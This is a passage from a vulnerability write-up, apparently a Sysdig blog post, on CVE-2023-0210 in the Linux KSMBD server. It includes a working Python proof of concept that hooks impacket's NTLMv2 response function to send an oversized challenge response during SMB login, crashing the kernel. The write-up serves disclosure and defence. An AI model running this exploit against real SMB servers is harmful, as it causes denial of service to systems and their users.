We modified impacket⁴ a bit to help trigger this overflow. Specifically, we added ‘ntChallengeResponse = b”A” * 9’ at line 931⁵ in the ‘ntlm.py’ file and ran an impacket to authenticate with the KSMBD server using a valid username. We can also just hook the function where ‘ntChallengeResponse’ is set and change it with the following code:

#!/usr/bin/python3
from impacket.smbconnection import SMBConnection
import functools
import impacket.ntlm

# using impacket-0.10.0

user = "test"
pw = "test"
domain = "localhost"
address = "127.0.0.1"
target_ip = "127.0.0.1"
port = "445"

def post_function(function, postfunction):
    @functools.wraps(function)
    def run(*args, **kwargs):
        resp = function(*args, **kwargs)
        return postfunction(resp)
    return run

def post_computeResponseNTLMv2_hook(resp):
    return ('A' * 10, resp[1], resp[2])

impacket.ntlm.computeResponseNTLMv2 = post_function(
    impacket.ntlm.computeResponseNTLMv2, post_computeResponseNTLMv2_hook)

smbClient = SMBConnection(address, target_ip, port)
smbClient.login(user, pw, domain)

This will result in a kernel panic causing a denial of service, and to our current knowledge, that is the only result of exploiting the vulnerability.

Conclusion

As scary as these bugs sound, they aren’t that big of a deal for most Linux users, mainly because of two reasons: KSMBD is not enabled by default but it is a module, which means that the user has to enable and configure it by themselves, as documented here⁶. It is also worth noting that, given the nature of the SMB protocol and its historical implication in large scale security incidents, one might rarely need to expose the SMB port directly to the internet, a practice that is generally discouraged.

References:

¹https://docs.kernel.org/filesystems/cifs/ksmbd.html

²https://www.zerodayinitiative.com/advisories/ZDI-22-1690/

³https://github.com/namjaejeon/ksmbd/commit/c88d9195ac11b947a9f5c4347f545f352472de0a

⁴https://github.com/fortra/impacket

⁵https://github.com/fortra/impacket/blob/master/impacket/ntlm.py#L931

⁶https://docs.kernel.org/filesystems/cifs/ksmbd.html#how-to-run

The post CVE-2023-0210 appeared first on Sysdig.